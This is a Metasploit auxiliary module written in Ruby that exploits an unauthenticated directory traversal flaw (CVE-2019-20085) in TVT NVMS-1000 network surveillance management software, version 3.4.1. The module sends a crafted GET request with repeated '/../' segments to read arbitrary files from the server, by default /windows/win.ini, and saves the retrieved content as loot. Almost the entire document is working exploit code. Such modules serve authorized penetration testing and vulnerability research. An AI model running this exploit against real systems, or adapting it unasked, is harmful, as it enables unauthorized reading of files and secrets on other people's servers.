TVT NVMS-1000 Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TVT NVMS-1000 Directory Traversal',  
'Description' => %q{  
This module exploits an unauthenticated directory traversal vulnerability which  
exists in TVT network surveillance management software-1000 version 3.4.1.  
NVMS listens by default on port 80.  
},  
'References' =>  
[  
['CVE', '2019-20085'],  
['EDB', '47774']  
],  
'Author' =>  
[  
'Numan Türle', # Vulnerability discovery  
'Dhiraj Mishra' # Metasploit module  
],  
'DisclosureDate' => '2019-12-12',  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('FILEPATH', [true, "The path to the file to read", '/windows/win.ini']),  
OptString.new('TARGETURI', [true, "The base URI path of nvms", '/']),  
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])  
])  
end  
  
def run_host(ip)  
filename = datastore['FILEPATH']  
traversal = normalize_uri(target_uri.path, '/../' * datastore['DEPTH'], filename)  
  
res = send_request_raw({  
'method' => 'GET',  
'uri' => traversal  
})  
  
unless res && res.code == 200  
print_error('Nothing was downloaded')  
return  
end  
  
print_good("#{peer} - Downloaded #{res.body.length} bytes")  
path = store_loot(  
'nvms.traversal',  
'text/plain',  
ip,  
res.body,  
filename  
)  
print_good("File saved in: #{path}")  
end  
end  
`